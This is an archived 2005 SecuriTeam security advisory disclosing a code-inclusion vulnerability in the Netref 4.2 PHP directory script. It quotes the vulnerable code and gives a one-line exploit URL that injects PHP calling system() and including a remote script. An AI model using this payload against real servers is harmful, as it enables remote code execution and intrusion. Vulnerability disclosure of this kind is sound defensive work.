Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [UNIX] Netref Arbitrary Code Inclusion |
|---|---|
| Date: | 27 Apr 2005 17:22:21 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - Netref Arbitrary Code Inclusion ------------------------------------------------------------------------ SUMMARY " <http://www.netref.net/> Netref is a PHP/MySQL-based directory script that supports an unlimited number of categories and links. Many fonctions to manage the links : Fast search engine with syntax coloring, Edit icon of category, Alias sites, Check validity of URL, Possibility to comment the sites, Administrator access to edit all data and validate suggested links by users, batch processing, etc." Lack of user input validation in Netref allows remote attackers to run malicious PHP code on the vulnerable system. DETAILS Vulnerable Systems: * Annuaire Netref version 4.2 There is a vulnerability in the handling of input by Netref. Because of this, it is possible for a remote user to gain unauthorized access to the system using the vulnerable software. More specifically the file "script/cat_for_gen.php" does not check the variables $ad, $ad_direct and $m_for_racine. Vulnerable code: if ($ad==1) { if (!isset($ad_direct)) $ad_direct=""; // variable appel que dans certains cas $fp=fopen($ad_direct."cache/cat_for.php", "w"); $temp="<SELECT NAME='categorie'><OPTION VALUE='0'"; // entete du formulaire $temp.=">$m_for_racine</OPTION>"; fwrite ($fp,$temp); } The $m_for_racine variable is not initialized and will be written in the cache/cat_for.php file, making it possible to inject any PHP command and execute them. Exploit: http://www.yourdomain.com/[netref_folder]/script/cat_for_gen.php?ad=1 &ad_direct=../&m_for_racine=</option></SELECT><?php sytem($command);include($remote_script)?> ADDITIONAL INFORMATION The information has been provided by <mailto:webmaster@wulab.com> jaguar. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [UNIX] phpMyVisites Arbitrary File Access, SecuriTeam |
|---|---|
| Next by Date: | [NT] Citrix Neighborhood Agent Buffer Overflow and Arbitrary Shortcut Creation, SecuriTeam |
| Previous by Thread: | [UNIX] phpMyVisites Arbitrary File Access, SecuriTeam |
| Next by Thread: | [NT] Citrix Neighborhood Agent Buffer Overflow and Arbitrary Shortcut Creation, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |